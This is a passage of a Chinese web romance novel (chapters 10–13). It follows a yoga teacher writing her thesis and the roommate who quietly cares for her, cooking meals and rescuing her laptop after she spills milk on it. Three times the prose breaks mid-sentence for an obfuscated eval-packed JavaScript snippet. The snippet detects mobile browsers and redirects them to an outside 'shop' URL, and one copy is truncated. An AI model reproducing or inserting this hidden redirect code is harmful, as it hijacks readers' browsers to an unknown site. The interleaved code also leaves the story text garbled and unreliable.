没一会，高雯颤颤悠悠的声音在客厅回荡：“学长——你怎么还不睡啊啊——” 是床太舒服睡不着吗？ 不像她。 10. 第10章 “喝点牛奶。”方寒从冰箱里，拿出一瓶鲜牛奶加热，端出来给高雯。 “谢谢。”高雯满脸疲倦，捧着牛奶喝。 方寒走进厨房，切了果盘，洗了点樱桃，放上刀叉走出去，放在她面前，“吃点水果缓缓。” 高雯深吸一口气，她坐直身子，把水果往嘴里塞。 可能是平时太过于克制，一到焦虑之时，她就想吃东西，什么都想吃。 高雯吃得腮帮子鼓鼓，她看了眼旁边的坚果零食：“这个我能吃吗？” “可以啊。”方寒笑，坐到了她对面。 高雯撕开包装袋，把坚果往嘴里送，不断咀嚼着，以此压下心里的那股烦闷，让自己的大脑保持清醒。 她平常十点准时上床睡美容觉，晚睡要长黑眼圈的，习惯了生物钟，这个点她太困太累了。 方寒轻声又道：“厨房和客厅里的大部分东西都是我买的，你都可以用，不用跟我说。” 高雯困意消散不少，她环顾了四周，看着桌子上的牛奶和水果拼盘和一堆零食，椅子下放了软垫，好像有很多地方不一样了。 “你去超市了吗？”高雯放慢吃东西的速度。 “嗯，买了点东西。”方寒正在帮她查资料，他修长的手指节骨分明，指甲修得整齐红润，正在键盘上轻轻敲打，神色专注认真。 方寒能帮高雯的不多，只能帮她查一查资料，下载先保存，之后再筛选。 他的动作不紧不慢，带着几分温和，高雯觉得就像他这个人一样，似清润的春风，又像甘冽的泉水，透明静谧，爽人心脾。 高雯内心的着急浮躁，一点点被抚平。 她自认为自己不是一个好人，她急功近利，有自己的虚荣心和野心，矫情造作还有点小心机。她同时也认为，这个世界上，没多少个好人。 她爸一死，她的妈就不顾还未成年的她死活，卖了房卷走赔偿款消失了，这么多年从未问过她一句，亲生父母尚且如此，何况陌生人。 这些年，高雯接触了很多很多人，感受过因为美貌带来的便利，也直视过最肮脏的人心。 方寒这人啊，是她见过这么多人当中，最与众不同的人。 他秉性善良，三观正得发邪，为人又带着一种与众不同的踏实真诚，适合细水长流。 这样情绪稳定又有教养的人，无论和谁在一起，都会一辈子忠诚和尊重对方。他可能保证不了妻儿大富大贵，但能让另一半衣食无忧，一生安稳。 高雯望着方寒有些失神。 她不知道，方寒的心跳早就乱了节奏，连带着耳廓也泛起一丝丝燥热，他连头没敢抬，生怕被她看出异样。 许久后，高雯才收回视线。 她有些沉默，不知道在想些什么。 方寒喉结上下耸动几下，斟酌开口劝说，“现在距离开学还有一个月，时间上非常充裕，而且只是开题答辩，并不会太严格。” 他又将几份资料下载保存，声线清越宽慰，“慢慢来，事情到最后都会完成，也总会有一个解决的方法，不急于一时。很晚了，你明天还要早起，回去睡吧？” 方寒的话像一粒定心丸，高雯也的确是撑不住了，她把电脑拿过来合上：“嗯。” 她往房门走的时候，方寒在她身后轻声道：“我这几天有空也会帮你多找找资料。” “好——”高雯半眯着眼拖着脚步进屋，她利用最后一丝意志力，强撑着漱了口，沾床就睡。 另一边。 方寒则没了睡意，他打开知网，研究得认真，心甘情愿重新被论文支配。 * 周末。 高雯心情不错。 凡事只要开始了，进度再慢，终究是开始了。 她这几天就看了不少文献，选题差不多敲定了，心里有底，就等初稿被磨出来，距离开学还远着。 如方寒所说，时间充裕得很。 “我订的这个粤菜餐厅，怎么样？”高雯拿着手机，给方寒看图片。 她下课回来，洗了澡化了个淡妆，换上她飘飘欲仙的小裙子，这几天，方寒帮了她很多，她准备请他吃一顿贵贵的大餐！ 自从兼职后，高雯每天都是瑜伽服外面穿一件外套，衣服都放在角落吃灰。 好不容易有个机会，她这么爱美，自然想好好打扮。 “很好啊，”方寒的鼻翼里，都是她身上传来的清香，他神色有些不自然道，“我先把锁给你换上？” 女孩子在外，还是得多注意安全，方寒给高雯买了个双重保险的锁芯，本来早就应该换上，但她这几天回来得晚也很忙，一直耽搁到了现在。 “好，不过我得把钱给你，”她说着强调，“不许不收！” “嗯。”方寒笑，“我收就是了。” 她真的别跟他太客气。 高雯满意了，她继续道：“那个餐厅很火，我先看看订什么菜，到时候去就可以直接吃了，你想吃什么？” “都行，我不挑。” “好的。” 方寒拿着螺丝刀，半蹲在高雯房门前，研究怎么换锁芯，高雯坐在沙发上看着手机，研究点菜，见他快换好了，她起身走过去看。 徐菲从外面回来了，她慢悠悠走进来，随手把房门一关，看着两人，眉眼一跳，嚼着口香糖的动作停了停。 “徐菲姐，你下班了？”高雯和她打招呼。 “嗯。”徐菲点头回应，在方寒无意看过来的时候，她意味深长看了他一眼，视线在两人身上打量，又回到方寒身上。 方寒被看得尴尬，躲开了她的视线。 徐菲更觉得有意思了。 小样，你那点心思，姐还不知道吗？ 高雯在试钥匙的时候，徐菲把包往肩上一甩：“你们慢慢搞吧，我回房间睡觉咯。” 高雯则以为徐菲是怕他们打扰她睡觉，接话道：“我们已经弄好了。” 徐菲没接话，还轻轻笑出声。 方寒：“.....” * 高雯和方寒到了餐厅，服务员在前面引路。 “我订了一个超绝的窗边位置，能看到不一样的夜景。”高雯往方寒那头侧了侧，压低声音说。 伴随着动作，她柔顺的发丝抚过方寒的脸颊，他的脸颊瞬间微微发红，走路都快同手同脚了。 所幸餐厅内氛围灯整体偏暗，看不出他此时的神色。 “你看——”高雯的声音将方寒的思绪拉回来。 她一脸惊艳走到窗边，看着外面的夜景，迫不及待就把手机拿出来拍照了。 天上的繁星点点，远处高楼的霓虹灯璀璨，下面是蜿蜒的车流汇成的金色溪流，算是一幕独特的视觉盛宴。 方寒以往对这些并不在意，看到高雯灿烂的笑容后，觉得这一切无比美好。 一道道菜被端上来，摆盘精致，香味弥漫。 高雯目不转睛看着。 为了这一顿漂亮饭，她已经连续吃了几天减脂餐。所以这一顿饭的含金量，不言而喻。 她拿出手机，先拍了照片，然后又自拍。 方寒也没动筷，默默等高雯拍，在她刚要出口让他吃饭时，他还主动道：“需要帮你拍吗？” 她一个人好像只能自拍，不能拍全景。 高雯素来爱美爱记录，也很热爱生活，她想了想，把手机给方寒：“拍一张就好了。” “嗯。”方寒点头，把她手机接过来。 高雯侧着身子，摆出自己自认为更上镜的右脸，眼睛微弯，红唇上扬，笑意盎然看向镜头，立志要拍出最好看的照片。 这可是最近很火的网红打卡餐厅，很难约到的！ 方寒眼底情绪涌动，强稳着心神，严谨认真得像面对巨量级项目，为了保险还变换几个角度。 拍好后，他将手机还给高雯：“我拍了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林珩以前听到的都是高雯对他有意思，想要取得他的注意，高嫁在A市扎根，现在变了风向，他难免有些多想和不自在。 林珩并未接高雯的话，而是突然问：“和男朋友一起来的？” 高雯被问懵，心里再次警铃大起，她并不想和林珩有任何情感上的接触，要是对方认为她有男朋友，是不是就没后面的事情了？ 想着，她点了点头：“嗯。” 反正又没人证实真假，彻底断了林珩或者其他人以为她对他有想法的念头也好。 林珩眉头一蹙，沉声道：“为了男朋友辞职的？” 高雯神色一滞：“什么？” 林珩的电话响起，他拿出来，低头看了眼没接，嗓音清冷犀利还带着一丝难以察觉的轻视：“我以为你是聪明人，知道自己要什么，你的前途，比那些虚无缥缈的情情爱爱重要多了。” “不要做让自己未来后悔的事情，想明白了就来找我，重新回去上班。” 林珩话音未落，抬腿背对着高雯离开。 “我比任何人都知道自己想要什么。” 高雯声音在林珩身后传来，他止住了脚步。 “请你不要自以为是给我的人生下定义，我从不会后悔自己做下的每一个决定，也会坚定不移、不留余力朝自己的目标努力。” “既然是我放弃的事情，就不会再有回头的可能。谢谢你的好心，机会就留给更需要更适合的人吧。” 高雯走了很久，她清晰的话语仿佛还在走廊响彻。 林珩诧异于她流露出来的坚韧，也感觉自己对她好像一点都不了解，这让他的神色一变再变。 很快，他的脸色如常。 一个还未毕业的小丫头罢了，正是不知天高地厚的时候。 11.第11章 周一。 早上八点整。 林思悦顶着惺忪的眼袋，拖着脚步有精无神来到瑜伽馆。 “快快快，都开始上课了。”前台看到林思悦，连忙催促，指了指都已经关门的教室，“现在才刚开始，赶紧进去。” 林思悦丝毫不为所动，依旧慢悠悠走过去，脸上还有点抗拒。 前台说上周高雯的课属于爆满，没人取消，就只能帮她约周一上午八点的课。 林思悦没去实习的原因，就是因为上班时间太早，她压根起不来。 但前台给她发了上节课的对比图，从图中明显能看到，她的驼背改善，整个人都笔挺了，更有精神，她还是想要改变。 而且，高雯的课一放出来，一周的课又约满了。 这节课要是不来上，这个周都没了。 林思悦只能爬起来，不情不愿来上课。 她推开门，高雯正带着会员做完冥想调息，她看到林思悦来了，柔声含笑打招呼：“早上好。” 林思悦眼珠子不自然转了转：“.....早上好。” 这是她的礼貌！才不是和高雯示好！ 课程已经开始，林思悦赶紧往空垫子走去，坐下来。 “简易坐姿，”高雯起身，话语轻缓，徐徐诱导，“延展你的脊椎，想象头顶去找天花板，拉长你的脖子——” 林思悦视线还在高雯身上。 高雯今天穿了一件国风款青色吊带上衣搭配牛油果色瑜伽裤，衬得她的肌肤越发白净清透，将她柔细纤瘦的身姿展现得淋漓尽致，前凸后翘，一双长腿笔直匀称。 林思悦抨击高雯的人品，但对她的脸蛋身材从未否定，因为找不出缺陷。而且，这女人衣着品味简直是爆表，瑜伽服真好看。 她甚至在想，怎么样才能拿到购买链接？ 高雯走到林思悦身边，红唇微张：“保持自然呼吸。” 林思悦赶紧左顾右盼，学着张妮坐好，余光有模有样地观察，努力模仿。 “下面进入猫伸展式，四脚跪姿——” 林思悦赶紧跪好，生怕跟不上。 高雯来到了她身边，把她的手往前放了一点，又对她道，“膝盖再往后一点。” 林思悦照做。 “吸气，把你的尾骨往上提——” 高雯看着林思悦，她余光看向张妮，下一秒就被高雯挡住，她把手放在林思悦的臀上，“想象这里去找天花板，练了能翘臀。” “！！！”林思悦默默看了眼高雯的臀部，格外努力。 “把你的肚子吸到最薄，想象你的肚脐眼去贴近脊椎，再近一点，”高雯换了通俗易懂的引导词，伸手往林思悦的肚子上一戳，“吸——再吸——” “很好。”高雯来到林思悦前面，白皙纤细的手指抬起她的下巴。 “你干嘛？”林思悦觉得有些痒，干嘛摸她？！这个动作好调戏。 “把你的脖子往前伸，让你的肩膀远离你的耳朵，”高雯继续扶着林思悦的下巴，“再远离一点。” 林思悦的脖子僵硬，一拉伸，她自己都能感觉到脖子里咔嚓咔嚓的声音，她抿着唇，困意彻底清醒，泪水不断溢出来，好累好累。 她不要做了。 “这个姿势很标准了，臀再往上翘点，为了蜜桃臀。” 高雯这句话，让林思悦一下打消放弃的念头。 她忍！ 接下来的课程，林思悦又成了高雯的示范工具人。 林思悦还没反应过来，体式一个接着一个，她呼吸都急促起来，站立进入幻椅式后，高雯又走过来。 她以为要结束了，结果高雯从身后扶住她，“双手合十放在胸前，向右侧扭转。” 林思悦的汗水不断往下滴落，勉勉强强按照她说的照做。 结果，高雯直接上手，抓住了她的肩，“吸气——” “疼——我不要——”林思悦有些挣扎，带着羞恼，“我做不到的！” “不要和我的力气对抗，顺着我的力气走。”高雯再一次靠近，她的声线提高，语调微沉，带着不容抗拒的气场。 林思悦瞬间变成听话的学生，秒安分下来。 高雯一只手抓住林思悦的手，另一只手扶住林思悦的肩膀，整个人贴在她身上，语气轻柔道：“深吸气，慢慢转动——” 高雯贴上来的时候，林思悦就感觉她香香软软的，好诱人。 这个女人在干什么，她要干什么啊？ 可恶！ 这是勾引她吗？坏女人！ 林思悦脸红了，热汗流得更多，她脑袋晕乎乎，跟着高雯转动上半身。 “这不就做到了吗？”高雯松开林思悦，“继续保持一会，姿势很漂亮。” 高雯一离开，香味随之散去，林思悦内心还有点小失落，她抬头看着镜子里的自己，微微睁眼。 这是她能做到的？！天啊！简直不敢置信。 她面色缓了缓，嘴角抑制不住咧开，悄咪咪欣赏自己的美姿。 林思悦刚说服自己原谅高雯的冒犯，结果她又来了。 一招侧伸展，高雯整个身子又一次覆在林思悦身上，拉着她的手往下。 “啊——啊——”林思悦不敢反抗，只能顺从，她的腿就像抖棉花一样。 起码有半个小时，林思悦感觉自己被高雯“捏扁揉圆”。 太难太累了！这个女人真的好过分！ 一节课结束，林思悦头发凌乱，身上的瑜伽服被汗水浸透，毫无形象瘫在一边，迟迟缓不过来。 高雯下课就丢下她们急匆匆走了，据说是要去健身房兼职，非常无情冷漠，林思悦想到此，捏紧了拳头。 早知道就在家里睡大觉！ 她真是有病，过来被虐，让这个坏女人得逞！ “你还好吗？”张妮倒了杯水，放在林思悦身边。 “我不好，”林思悦气得翻身要坐起来，拉伸的筋骨疼得她龇牙咧嘴，她气呼呼道，“我感觉她针对我，你觉不觉得？” 张妮要说也是这样，林思悦马上投诉高雯，她是消费者，她是上帝！ “啊？”张妮不解。 “整整一节课，她都盯着我一个人。”林思悦愤愤不平。 肯定是她哥拒绝了高雯，所以她就针对她，报复，这绝对是报复。 闻言，张妮笑出声，水都不喝了。 林思悦不明所以。 “雯雯是怕你基础薄弱，一个人瞎用力导致受伤，所以专门看着你，”张妮说完羡慕道，“我想要她关注只我一个人都没机会呢，她是偏爱你。” 林思悦瞬间脸红耳赤。 这，这样的吗？ 这是在讨好她吗？ 她就知道目的不纯！ “快看，我们今天上课拍的照片。”张妮看着群里，前台发照片了，林思悦赶忙也凑过去。 林思悦看着拍出来的照片，毕竟是高雯专门调出来的姿势，那叫一个标准有美感。 她感觉浑身都不疼了，连忙修图发朋友圈。 点赞和夸奖接连而至，这是林思悦为数不多获得的肯定。 尤其是，林珩点赞了，还评论道：【好好练。】 这是最不容易的事情。 林思悦激动的同时又想到了高雯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545482|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她骄傲表示，别以为这样，她就会同意让她当她嫂子。 哼！ * 傍晚。 方寒下班很准时，他收拾东西刚离开工位，顾书杰就打来了电话。 “师哥。”方寒接电话道。 顾书杰在那头说：“下班了吧？来我公司一趟，有个大项目需要你分担。” 他和方寒是在社团认识的，两人关系一直都不错。顾书杰毕业创业后，方寒就经常来他公司帮忙，也算一份兼职，能积累经验，收入也不少。后来方寒上班后，这种情况就少了。 顾书杰忙不过来的时候还是会让方寒去搭把手，毕竟他这个学弟的能力，别人不易替代。 方寒想都没想拒绝了：“今天不行，明天吧？周末也行。” 高雯晚上没课，她会早点回来。 “你以前可不这样啊，”顾书杰笑道，“你恋爱了？要赶回去给女朋友做饭啊？” 他们这种工作，加班通宵都是常有的事，单身狗眼里只有工作，只有恋爱了，才会稍稍收敛。 方寒心下有些紧张：“.....没有。” 顾书杰在那头继续笑道：“你嫂子说前几天在超市看到你了，买了一堆东西，水果零食什么的，不是谈恋爱了吗？” 难不成还是方寒一个大男人自己吃？ “没有。”方寒再一次否认。 顾书杰：“没谈恋爱你从家里搬出来做什么？” 方寒：“一个人清净点。” 这就是他搬出来的理由，上班也方便。 “行吧，”顾书杰没再逼问，又把话题转到工作上，“这一次是真的需要你帮忙，有空尽快过来。” “嗯。” ...... 方寒的确是想回去给高雯煮饭。 他去了超市，推着购物车，低头看着手机上所需要的食材。 方寒来到水产区，在卖虾的区域一路看着价格表。 从28一斤的冻虾再到60一斤的养殖活明虾，然后停留在328一斤的纯野生黑虎虾面前，这是超市里最贵的品种。 方寒毫不犹豫买了纯野生黑虎虾，又往蔬菜区里面走，去了无机蔬菜专柜，买了所需要的食材，价格是其他蔬菜的几倍。 方寒刚从家里搬出来不久，他从小习惯做家务做饭洗碗，但真没去买过菜，要是他自己的伙食，没那么多讲究，看着新鲜就行了，六十块一斤的活虾还有当季食材就足以。 但换到高雯身上，他总想给她能力范围里最好的，理所应当觉得她就应该被这样认真对待。 天色渐黑。 高雯回到小区时，趁着快递驿站还开门，她去取了两个快递。 一个是她从网上买的麦片，另一个是即食玉米，是她一会的晚餐。 高雯吃的减脂餐很简单，因为她基本不会动手做，晚上就吃点麦片，一会还要写论文，饿了啃半根玉米，顶饱。 没办法，管住嘴是保持身材最重要的方法，她今天会尽量早睡，睡了就不饿了。 高雯走进电梯，肚子已经咕噜噜叫，她把麦片的外层包装袋打开，她告诉自己，再撑一会，回去的第一件事，就是冲上一碗麦片，然后全部吃掉！ 出了电梯，高雯就闻到了一股香味，她的肚子更饿了，谁家煮饭这么香？太诱惑她了吧。 高雯都不敢多嗅两下，怕一会吃一碗麦片都不顶饱，她加快脚步，从包里掏出钥匙往门口走。 一打开门，浓郁的香味扑鼻而来。 方寒端着碗，从厨房出来，见高雯回来了，扬起嘴角道：“你回来了？我做了不少菜，一起吃点饭吧？” 12.第12章 高雯找到了罪魁祸首，原来是方寒做饭这么香。 她当然不吃，她晚上不吃饭。 于是，高雯礼貌婉拒，抬脚往房门走去，她吃点麦片就行了。 方寒说：“是减脂餐，吃一点没关系。” 减脂餐？ 高雯停住了脚步，闻着香味，抑制不住向餐桌上看去。 最终，高雯坐在了餐桌上，她看着桌上的饭菜，不自觉咽了咽口水：“那我就不客气了。” 方寒晚上居然也吃减脂餐了，算她有口福！ 再说，他说自己吃不完，不能浪费！ “不用客气。”方寒笑着把碗放在她面前，往她盘子里放了几块贝贝南瓜。 高雯吃了一口，口感香糯：“这个好吃。” “听说这种南瓜口感好，我就买了几个尝尝。”方寒给她夹了两口烫好的荞麦面，接着说话。 方寒一共就做了三道菜，用虾仁鸡蛋和黄瓜木耳做的中式虾仁沙拉、豆腐海带青菜鲜汤、番茄炒金针菇碎，主食就是贝贝南瓜和荞麦面。 高雯吃了一口虾仁，清脆爽口又紧致Q弹，她直接冲方寒竖起大拇指：“这个虾真新鲜！好吃！” 什么麦片和即食玉米，她是一点都吃不下去了。 减脂餐，也可以不是冷冷的。 都是热乎的！ 方寒果然干什么都行！ 饭后。 高雯洗了个澡，把自己的电脑搬来了客厅，坐在餐桌上看论文。 没办法，高雯的生物钟真的很早，九点半准时就困了，在卧室里身后就是床，她就更困了，总想倒在床上就进入梦乡。 客厅是公共区域，还能让人保持清醒。 方寒从自己房内出来，看到高雯坐在客厅，对着电脑，面色十分煎熬痛苦。 他笑着走过去把一叠资料拿过去放在她手边：“我打印了点资料，你看看有没有用。” “谢谢学长。”高雯强撑起精神，却还是像蔫了的茄子，她把资料拿过来，深吸一口气，埋头苦读。 方寒走到了厨房，打开冰箱。 里面放了好几瓶高雯喜欢喝的鲜牛奶，上一次剩的最后两瓶被他喝掉了，这种鲜牛奶保质期很短，只有三天，这是他今天买的。 方寒拿出一瓶，倒在玻璃杯，放在微波炉里加热。 高雯翻着资料，纤细手指时不时在文档上输入，专注认真。 方寒走过去，把牛奶放在她手旁：“今天打折买了好几瓶，你也喝点。” 实际上，是今天刚生产出来的，并没有打折。 方寒不是没有意识到，高雯并不想欠他太多，会让她不自在。 他并不想让她有任何心理负担，这不是他的初衷。 “好。”高雯继续翻着资料，顾不得和方寒聊天，只是随口道谢。 直到关门声响起，高雯才有所察觉，她看了看时间，起身往门口走，开门叫住了要进电梯的方寒：“这么晚了，你要去哪？” 她这时候才注意到，方寒穿了板鞋，还背了书包。 方寒笑：“师哥的公司有个项目要处理，我去帮个忙。” “那不是要加班？”高雯一听晚上加班，本能就蹙起柳眉。 对于她来说，白天再怎么辛苦都行，晚上还要加班，太痛苦了，难怪很多程序员都没了头发，会秃顶。 “嗯，算是加班吧。”方寒点头，他刚刚出来看到高雯在客厅时，其实已经后悔了，早知道就不去，和她一起研究文献和资料，还能和她多待会。 奈何，他已经答应了顾书杰。 高雯看了看方寒茂密的短发，出言道：“早点回来睡觉。” 不然头发保不住，据说许多程序员都去植发，过程很疼费用很高，后续还会一点点掉光，很残忍。 方寒：“好。” “拜拜，我继续看论文了。” “拜拜。” 高雯的身子缩了回去，快速关上门。 方寒看着关了又开的电梯，面对顾书杰的催促，回头看了眼房门，快速走进了电梯。 二十分钟后。 方寒出现在了顾书杰的公司。 “方工，你可快来吧，都忙疯了。”顾书杰见方寒来了，松了一口气。 方寒很快投入到了工作中。 忙了两个小时，已经接近凌晨，顾书杰给每个人都订了咖啡和夜宵。 他给方寒拿了一个汉堡和一杯咖啡，走过来递给他，“先吃点东西垫垫肚子。” “我不饿。”方寒摇头，他本来就不怎么吃这种高热量食物，看到高雯的饮食后，更为克制。 顾书杰将汉堡和咖啡放在方寒手边，自己则靠在桌边，打开汉堡大口大口吃了起来，他看着方寒熟练在处理工作，吃着汉堡含糊道：“要我说啊，你下班和周末就来我这里继续兼职好了，能多赚点是一点，你是不知道，老婆孩子很难养的。” “趁年轻，要多奋斗！” 闻言，方寒打字的动作稍顿，回头看了他一眼。 “我说真的，你以为我在骗你啊？”顾书杰将汉堡咽下去，喝着咖啡，“尤其是漂亮的女人，那更是花钱如流水。就像你嫂子，今天美容院五万，明天按摩店两万，还有衣服鞋子包包护肤品，最近她还沉迷什么瑜伽，每天都往馆里跑。被一个瑜伽老师洗脑，回家一个劲儿夸人家好，上课多么多么辛苦，我就知道完了，过几天又不知道要被忽悠几万。” “嫂子每天去锻炼不是好事吗？”方寒接话。 怎么就成瑜伽老师忽悠了？他看高雯每天都奔波上课，回来很累，的确非常辛苦。 顾书杰一听，伸手扶额：“重点不是这个！” 对他来说，老婆的开心，当然比一切事情都重要。 方寒视线重新回到屏幕上。 “反正趁你还没结婚，多赚钱，多存钱，总没错，”顾书杰拍了拍方寒的肩膀，“要不，你考虑一下，出来跟我一起单干？以合伙人的形式。” 顾书杰早就想拉方寒入伙了，奈何他野心不大，物欲不高，大厂的百万高薪完全足够了。 方寒还未接话，手机响起，他第一时间去看消息。 顾书杰慢悠悠喝着咖啡，余光好奇瞅了瞅，啥都没看到，只能把耳朵竖起来。 方寒点开消息，是高雯发来的。 她问论文的那些下载资料他那边有没有备份。 方寒没多问，知道肯定出事了，一个电话就给她拨了过去。 此时。 高雯的确在客厅里手忙脚乱，急得都要蹦起来。 她看了很久的文献，正心烦意乱，端起牛奶喝，一个走神手打滑，牛奶全洒在电脑上，她赶紧拿着纸巾就去擦。 很不幸，电脑慢慢黑屏了。 电脑里面不仅有不少论文资料，还有高雯日思夜想，挤牙膏似的写出来的开题初稿和一些零碎正文稿子。 要是丢了，她这段时间的熬夜就白费了。 高雯一想到，气都快喘不上了 两眼一黑能晕过去。 真要命了！谁来救救她？！ 高雯给方寒发消息的时候，都在克制，她知道他在忙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551705|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意多麻烦他。 可当他打来电话时，高雯急得在流汗跺脚，语气都带着绝望：“真是怎么办啊？我不想再写了，怎么办啊？” 这下真的完了。 “别着急，我现在马上回去。”方寒说着就起身收拾东西。 “诶——”顾书杰见方寒要走，“回去啦？” 一条消息就把人调走了？谁啊？ “有点急事。”方寒推开椅子，匆忙往外走。 “不是，你还说自己没金屋藏娇，我刚刚听到女人的声音了，”顾书杰小跑跟着方寒，“女人很难养的，你应该努力赚钱啊。” 方寒停住脚步，看向顾书杰给出承诺：“师哥，我明天会早点过来。” 顾书杰：“你千万记得。” 这就对了嘛，谈恋爱结婚的男人，就不会那么佛系了。 方寒回到家时，高雯第一时间给他开门。 她无措站在餐桌边，神色慌乱，小声忐忑道：“我不敢随便乱动它，就拿纸巾擦了擦，会不会坏掉了啊？” “就算坏了，我也会帮你把数据修复好，没事的。”方寒嗓音清润，语气很笃定。 高雯焦灼得火烧火燎的心，宛如被一盆冷水浇下，瞬间就平静下来了，“那就好。” 方寒拿起来查看。 高雯的心一下又提起来。 “没事的，”方寒再次出言宽慰她，他把电脑倒了过来，抽了几层餐巾纸铺在键盘上，随即起身往房间走去，“稍等，我拆开看看有没有渗透到主板了。” “嗯嗯。”高雯着急等待。 方寒拿了几样工具出来，他把电脑翻面，那几层餐巾纸已经湿了，可见渗进去不少。 高雯神色担忧看向电脑，随后又看了看方寒，拧着眉，薄唇微张要说话。 “没事的，”方寒还是那句话，为了缓解她的情绪，他的唇角微微翘了一个弧度，语气轻松，“顶多就是主板烧坏了，都能修好，没关系。” 高雯再一次被安抚，她将椅子拉过来，坐在他身旁，目不转睛看着他拆电脑。 方寒没再说话，加速拆机的动作，尽可能快点抢修。 电脑里的确渗进了不少牛奶，方寒正在一点点清理，清理过后，也不能贸然开机，他把电脑搬去自己的房间。 高雯紧跟其后。 她也是第一次进入方寒的房间，他住的是次卧，也配备一个洗手间，和她住的房间相比，就是小了一点，没有阳台但有一个大飘窗。 方寒的房间陈设简单，除了一个书柜，放了不少书，就是电脑了，看起来比高雯的房间还要宽敞。 所以和他这个人一样，简单干净，给人很舒服的感觉。 方寒把电脑放在桌子上，将风扇打开，对着电脑吹，“等明天干了再看看能不能打开机，不过就算能开机，也得及时拿去修，不然会腐蚀部件。我明天再拿去看看。” “我明天自己拿去就好。”高雯说。 方寒看向她，语气清朗提醒道：“你不知道里面的门道，很可能会被坑，还是我去比较好。” 高雯：“......那好吧，只能麻烦你了。” 深夜。 高雯不知道自己是不是熬夜过猛，过了生物钟，她在床上辗转很多次，依旧没有入眠。 “唉——”她再一次翻身，暗示自己一定要睡觉了！ 方寒说没事，就一定没事！他一定不会骗她的。 次卧内。 方寒双手枕着脑袋，忘了眼桌子上的电脑，目光又回到天花板，他的睡意全无，神色沉思凝重。 13.第13章 翌日。 方寒一大早就把电脑拿去修了，还专门发消息告诉高雯，就是为了让她不要过于担心，没什么大问题。 高雯昨晚做梦都梦到她的资料和初稿不见了，以至于今天早上被吓醒。 不得不说，方寒的安慰很有效果。 她起床洗漱，就去了瑜伽馆。 在楼下时，高雯还遇到了林思悦，两人一起进了电梯。 “早！”高雯笑着打了声招呼。 她的课表上，没有林思悦的约课，应该是来上其他人老师的课。 高雯知道，林思悦有点傲娇有点小脾气，似乎还对她上课有些不满，但她并不在意这个事情。 有人满意就有人不满意，影响不到她的心情，她只需要做好自己的事情。 林思悦再不满意，也来上了她的课，让她赚了课时费，只要最终结果是自己想要的，过程其实没那么重要。 高雯青春活力又明媚动人的样子，让困意朦胧的林思悦都多了几分精神，她抬起手，晃了晃：“早。” 高雯眼底倏然盈满了笑意，那张白净清透的脸蛋更加娇美明艳。 “......”林思悦顿时有些脸颊发红，呼吸略微急促。 干什么，干什么呀？ 笑得那么甜！ 不仅男人喜欢看美女，女孩子遇到好看的美人，也会心动好不好？！ 林思悦转念一想，高雯是在讨好她！ 没错！ 这个女人，太知道自身优势了，利用美貌耍手段！狡诈阴险！ 非常过分！ 电梯门打开，高雯没动，而是笑着让林思悦先出去。 林思悦心跳再一次加快，她拽紧了手上的包包，低着头快速走出去。 她还回头看了眼高雯，见她走出来，连忙扭过头，快步往前走。 哼！ 别以为这样，她就会帮她追她哥！ 林思悦进入馆里后，坐在休息区，看到高雯笑着和馆内的人打招呼，对待每一个人，都和她对待她一样热情。 林思悦脖子一哽，都捏紧了拳头，看到高雯对每个人都这样，不知道为什么，她心里有些酸酸涨涨。 她肯定是对这个女人还有怨气。 会员陆陆续续来了，张妮看到高雯的时候，笑着上去打招呼。 张妮她往教室走的时候，看到林思悦，还主动催促道：“要上课了，你快进来呀。” 林思悦坐在椅子上没动，心里更难受了。 “她没约这节课。”前台走过来解释。 “这样呀，我先去上课了。”张妮以为林思悦约的是别的老师课，赶紧往教室走。 高雯关门的时候，还冲林思悦笑着柔声道：“我们先上课了。” 林思悦都没察觉到，自己正眼巴巴看着紧闭的教室门。这个星期都没高雯的课可以约了，不能拍好看的照片惊艳朋友圈。 真的很难过。 “你是约了哪节课？咪咪老师的课吗？”前台走过来，笑着问林思悦。 “我要上私教课。”林思悦不忘来这里的目的。 没有小课，她就约私教啊。 昨天，林家人看到她发的朋友圈，都给她转钱了，尤其是她哥林珩，给她转了三万，让她好好练，不要待在家里太颓废。 林思悦堕落了很久，不像去实习，生活没目标，天天都在家里混日子。好不容易有个感兴趣，能让大家刮目相看的爱好，她当然想坚持。 前台一听，林思悦想要抱私教，态度立马大变。 她给林思悦倒了一杯水，笑着问：“你要报哪个老师的私教？还是通用的？下个月会有活动，不过我可以提前和馆长申请，先让你报班上课。” 林思悦一看，就比较好忽悠，前台都在想，要推荐什么高价位的套餐了。 她的提成又多了一笔。 “就那个雯雯老师，我要报她的私教。”林思悦说完又道，“既然是你们馆内的老师，我想报她的私教，你们应该就能安排吧？” 上私教的话，就只能服务她一个人，林思悦想着，心情不错，还有点暗爽。 前台一听，笑意收敛。 高雯才刚来兼职，她和其他老师关系处得不错，自然愿意先推销其他老师的课程，而且其他老师还给她返点。 